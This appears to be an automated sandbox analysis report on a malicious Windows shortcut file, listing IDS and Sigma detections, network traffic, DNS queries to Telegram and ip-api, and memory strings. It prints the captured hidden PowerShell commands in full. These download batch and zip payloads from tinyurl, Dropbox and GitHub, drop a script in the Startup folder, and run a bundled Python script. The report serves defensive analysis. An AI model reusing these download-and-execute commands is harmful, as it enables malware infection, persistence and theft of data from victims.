Author: Florian Roth (Nextron Systems): Data: ContextInfo: Severity = Informational Host Name = ConsoleHost Host Version = 5.1.19041.1682 Host ID = 76b8e90f-e320-4e01-a581-f14fb02687ab Host Application = powershell.exe -WindowStyle Hidden -Command [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/u/raw/main/ud.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat'); (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/z/raw/main/T3.zip', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\Users\Public\Document\Lib\prt.py; Remove-Item 'C:/Users/Public/Document.zip' -Force Engine Version = 5.1.19041.1682 Runspace ID = 412a6013-59d0-4d00-b27d-cd6ec86e67f5 Pipeline ID = 1 Command Name = Add-Type Command Type = Cmdlet Script Name = Command Path = Sequence Number = 16 User = user-PC\user Connected User = Shell ID = Microsoft.PowerShell, EventID: 4103, Payload: CommandInvocation(Add-Type): "Add-Type"ParameterBinding(Add-Type): name="AssemblyName"; value="System.IO.Compression.FileSystem", Source: Microsoft-Windows-PowerShell, UserData: , data0: Severity = Informational Host Name = ConsoleHost Host Version = 5.1.19041.1682 Host ID = 76b8e90f-e320-4e01-a581-f14fb02687ab Host Application = powershell.exe -WindowStyle Hidden -Command [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/u/raw/main/ud.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat'); (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/z/raw/main/T3.zip', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\Users\Public\Document\Lib\prt.py; Remove-Item 'C:/Users/Public/Document.zip' -Force Engine Version = 5.1.19041.1682 Runspace ID = 412a6013-59d0-4d00-b27d-cd6ec86e67f5 Pipeline ID = 1 Command Name = Add-Type Command Type = Cmdlet Script Name = Command Path = Sequence Number = 16 User = user-PC\user Connected User = Shell ID = Microsoft.PowerShell, data1: , data2: CommandInvocation(Add-Type): "Add-Type"ParameterBinding(Add-Type): name="AssemblyName"; value="System.IO.Com

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\WINDOWS\system32\cmd.exe" /c "powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://tinyurl.com/tt34x' -OutFile 'C:\Users\user\AppData\Local\Temp\temp.bat'; Start-Process -FilePath 'C:\Users\user\AppData\Local\Temp\temp.bat' -WindowStyle Hidden"", CommandLine: "C:\WINDOWS\system32\cmd.exe" /c "powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://tinyurl.com/tt34x' -OutFile 'C:\Users\user\AppData\Local\Temp\temp.bat'; Start-Process -FilePath 'C:\Users\user\AppData\Local\Temp\temp.bat' -WindowStyle Hidden"", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: "C:\WINDOWS\system32\cmd.exe" /c "powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://tinyurl.com/tt34x' -OutFile 'C:\Users\user\AppData\Local\Temp\temp.bat'; Start-Process -FilePath 'C:\Users\user\AppData\Local\Temp\temp.bat' -WindowStyle Hidden"", ProcessId: 7084, ProcessName: cmd.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://tinyurl.com/tt34x' -OutFile 'C:\Users\user\AppData\Local\Temp\temp.bat'; Start-Process -FilePath 'C:\Users\user\AppData\Local\Temp\temp.bat' -WindowStyle Hidden", CommandLine: powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://tinyurl.com/tt34x' -OutFile 'C:\Users\user\AppData\Local\Temp\temp.bat'; Start-Process -FilePath 'C:\Users\user\AppData\Local\Temp\temp.bat' -WindowStyle Hidden", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\WINDOWS\system32\cmd.exe" /c "powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://tinyurl.com/tt34x' -OutFile 'C:\Users\user\AppData\Local\Temp\temp.bat'; Start-Process -FilePath 'C:\Users\user\AppData\Local\Temp\temp.bat' -WindowStyle Hidden"", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7084, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://tinyurl.com/tt34x' -OutFile 'C:\Users\user\AppData\Local\Temp\temp.bat'; Start-Process -FilePath 'C:\Users\user\AppData\Local\Temp\temp.bat' -WindowStyle Hidden", ProcessId: 6368, ProcessName: powershell.exe

Data Obfuscation

Sigma detected: Drops script at startup location

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7072, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsSecure.bat

Sigma detected: Powershell downloading file from url shortener site

Source: Process started

Author: Joe Security: Data: Command: "C:\WINDOWS\system32\cmd.exe" /c "powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://tinyurl.com/tt34x' -OutFile 'C:\Users\user\AppData\Local\Temp\temp.bat'; Start-Process -FilePath 'C:\Users\user\AppData\Local\Temp\temp.bat' -WindowStyle Hidden"", CommandLine: "C:\WINDOWS\system32\cmd.exe" /c "powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://tinyurl.com/tt34x' -OutFile 'C:\Users\user\AppData\Local\Temp\temp.bat'; Start-Process -FilePath 'C:\Users\user\AppData\Local\Temp\temp.bat' -WindowStyle Hidden"", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: "C:\WINDOWS\system32\cmd.exe" /c "powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://tinyurl.com/tt34x' -OutFile 'C:\Users\user\AppData\Local\Temp\temp.bat'; Start-Process -FilePath 'C:\Users\user\AppData\Local\Temp\temp.bat' -WindowStyle Hidden"", ProcessId: 7084, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T07:15:52.146917+0100	2803305	3	Unknown Traffic	192.168.2.4	49734	20.233.83.145	443	TCP

ETPRO MALWARE Terse Request for .bat - Likely Hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T07:15:49.287150+0100	2841189	1	A Network Trojan was detected	192.168.2.4	49733	20.233.83.145	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: interior-design-villa-a23.lnk	ReversingLabs: Detection: 21%
Source: interior-design-villa-a23.lnk	Virustotal: Detection: 30%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 98.1% probability

Machine Learning detection for sample

Source: interior-design-villa-a23.lnk

Joe Sandbox ML: detected

Source: unknown	HTTPS traffic detected: 104.17.112.233:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.125.69.18:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.125.69.15:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.233.83.145:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.4:49736 version: TLS 1.2

Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32transaction.pdb source: powershell.exe, 00000005.00000002.2538139922.0000029A81210000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2538139922.0000029A8121B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32inet.pdb source: powershell.exe, 00000005.00000002.2538139922.0000029A81043000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 2crypt.pdb!! source: powershell.exe, 00000005.00000002.2538139922.0000029A80F50000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 2crypt.pdb source: powershell.exe, 00000005.00000002.2538139922.0000029A80F50000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32print.pdb source: powershell.exe, 00000005.00000002.2538139922.0000029A81117000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32cred.pdb source: powershell.exe, 00000005.00000002.2538139922.0000029A80F2B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32job.pdb source: powershell.exe, 00000005.00000002.2538139922.0000029A81068000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: bpdbtem.pdb source: powershell.exe, 00000005.00000002.2626366978.0000029AFEAA0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32clipboard.pdb source: powershell.exe, 00000005.00000002.2538139922.0000029A80EBF000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32ras.pdb source: powershell.exe, 00000005.00000002.2538139922.0000029A81180000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32help.pdb source: powershell.exe, 00000005.00000002.2538139922.0000029A80FBD000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32pdh.pdb source: powershell.exe, 00000005.00000002.2538139922.0000029A810AE000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32gui.pdb source: powershell.exe, 00000005.00000002.2538139922.0000029A80FBD000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32net.pdb source: powershell.exe, 00000005.00000002.2538139922.0000029A810AE000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.pdb source: powershell.exe, 00000005.00000002.2620881131.0000029AFC8A9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32pipe.pdb source: powershell.exe, 00000005.00000002.2538139922.0000029A810F6000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32net.pdb source: powershell.exe, 00000005.00000002.2538139922.0000029A810AE000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32lz.pdb source: powershell.exe, 00000005.00000002.2538139922.0000029A81098000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2538139922.0000029A8108B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32wnet.pdb source: powershell.exe, 00000005.00000002.2538139922.0000029A81252000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32profile.pdb source: powershell.exe, 00000005.00000002.2538139922.0000029A8116A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2538139922.0000029A8115D000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32evtlog.pdb source: powershell.exe, 00000005.00000002.2538139922.0000029A80F98000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\python.pdb source: python.exe, 0000000A.00000000.2256721602.00007FF6AD4A2000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32process.pdb source: powershell.exe, 00000005.00000002.2538139922.0000029A81138000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32security.pdb source: powershell.exe, 00000005.00000002.2538139922.0000029A811A3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32api.pdb!! source: powershell.exe, 00000005.00000002.2538139922.0000029A80EBF000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\timer.pdb source: powershell.exe, 00000005.00000002.2538139922.0000029A80E9F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2538139922.0000029A80EA9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32file.pdb source: powershell.exe, 00000005.00000002.2538139922.0000029A80FBD000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdbID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32r source: powershell.exe, 00000005.00000002.2620881131.0000029AFC8A9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32api.pdb source: powershell.exe, 00000005.00000002.2538139922.0000029A80EBF000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32ts.pdb source: powershell.exe, 00000005.00000002.2538139922.0000029A81231000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32console.pdb source: powershell.exe, 00000005.00000002.2538139922.0000029A80F08000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\_win32sysloader.pdb source: powershell.exe, 00000005.00000002.2538139922.0000029A812C8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2538139922.0000029A81275000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32trace.pdb source: powershell.exe, 00000005.00000002.2538139922.0000029A811EB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2538139922.0000029A811FA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32service.pdb source: powershell.exe, 00000005.00000002.2538139922.0000029A811A3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\_winxptheme.pdb source: powershell.exe, 00000005.00000002.2538139922.0000029A812DE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2538139922.0000029A812E9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\src\pywin32\build\temp.win-amd64-cpython-310\Release\win32event.pdb source: powershell.exe, 00000005.00000002.2538139922.0000029A80F50000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2841189 - Severity 1 - ETPRO MALWARE Terse Request for .bat - Likely Hostile : 192.168.2.4:49733 -> 20.233.83.145:443

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Source: unknown	DNS query: name: tinyurl.com
Source: unknown	DNS query: name: tinyurl.com

Source: global traffic	HTTP traffic detected: GET /ty9989/u/raw/main/ud.bat HTTP/1.1Host: github.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ty9989/z/raw/main/T3.zip HTTP/1.1Host: github.com
Source: global traffic	HTTP traffic detected: GET /ty9989/z/main/T3.zip HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 208.95.112.1 208.95.112.1
Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown

DNS query: name: ip-api.com

Source: Network traffic

Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49734 -> 20.233.83.145:443

Source: global traffic	HTTP traffic detected: GET /tt34x HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: tinyurl.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /scl/fi/kn069lb2i6spdx2wa7nno/x.bat?rlkey=57lsckc9mgl0pkn2ndyr6bzar&st=56qf6wey&dl=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: www.dropbox.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cd/0/get/Cf8WDjKuZ7cpu5Q4oJ7_4q46emOuaLq1WwL0UAxa-mtWP1eMdbPKAAdvPU-47hQQOey-K8BoFxf5U6LcgzQCj4QGKZz22qT-bdLG65v1Y3FLkl0jP-wXqz6Inb4motnk7m2tD157M24VKB_UxMFHPz3T/file?dl=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: uce3bf66f2e0fc63f622c2b7c04a.dl.dropboxusercontent.comConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /tt34x HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: tinyurl.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /scl/fi/kn069lb2i6spdx2wa7nno/x.bat?rlkey=57lsckc9mgl0pkn2ndyr6bzar&st=56qf6wey&dl=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: www.dropbox.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cd/0/get/Cf8WDjKuZ7cpu5Q4oJ7_4q46emOuaLq1WwL0UAxa-mtWP1eMdbPKAAdvPU-47hQQOey-K8BoFxf5U6LcgzQCj4QGKZz22qT-bdLG65v1Y3FLkl0jP-wXqz6Inb4motnk7m2tD157M24VKB_UxMFHPz3T/file?dl=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: uce3bf66f2e0fc63f622c2b7c04a.dl.dropboxusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ty9989/u/raw/main/ud.bat HTTP/1.1Host: github.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ty9989/z/raw/main/T3.zip HTTP/1.1Host: github.com
Source: global traffic	HTTP traffic detected: GET /ty9989/z/main/T3.zip HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /json/?fields=8195 HTTP/1.1Host: ip-api.comUser-Agent: python-requests/2.30.0Accept-Encoding: gzip, deflateAccept: /Connection: keep-alive

Source: powershell.exe, 00000002.00000002.1768747972.0000023C05337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Policy: default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; img-src https:// data: blob: ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; frame-ancestors 'self' https://.dropbox.com ; media-src https:// blob: ; base-uri 'self' ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; font-src https://* data: ; style-src https://* 'unsafe-inline' 'unsafe-eval' ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; connect-src https://* ws://127.0.0.1:*/ws blob: wss://dsimports.dropbox.com/ equals www.yahoo.com (Yahoo)
Source: powershell.exe, 00000002.00000002.1768747972.0000023C05311000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; img-src https:// data: blob: ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; frame-ancestors 'self' https://.dropbox.com ; media-src https:// blob: ; base-uri 'self' ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; font-src https://* data: ; style-src https://* 'unsafe-inline' 'unsafe-eval' ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; connect-src https://* ws://127.0.0.1:*/ws blob: wss://dsimports.dropbox.com/ equals www.yahoo.com (Yahoo)
Source: powershell.exe, 00000002.00000002.1768747972.0000023C053B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; img-src https:// data: blob: ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; frame-ancestors 'self' https://.dropbox.com ; media-src https:// blob: ; base-uri 'self' ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; font-src https://* data: ; style-src https://* 'unsafe-inline' 'unsafe-eval' ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; connect-src https://* ws://127.0.0.1:*/ws blob: wss://dsimports.dropbox.com/ equals www.yahoo.com (Yahoo)

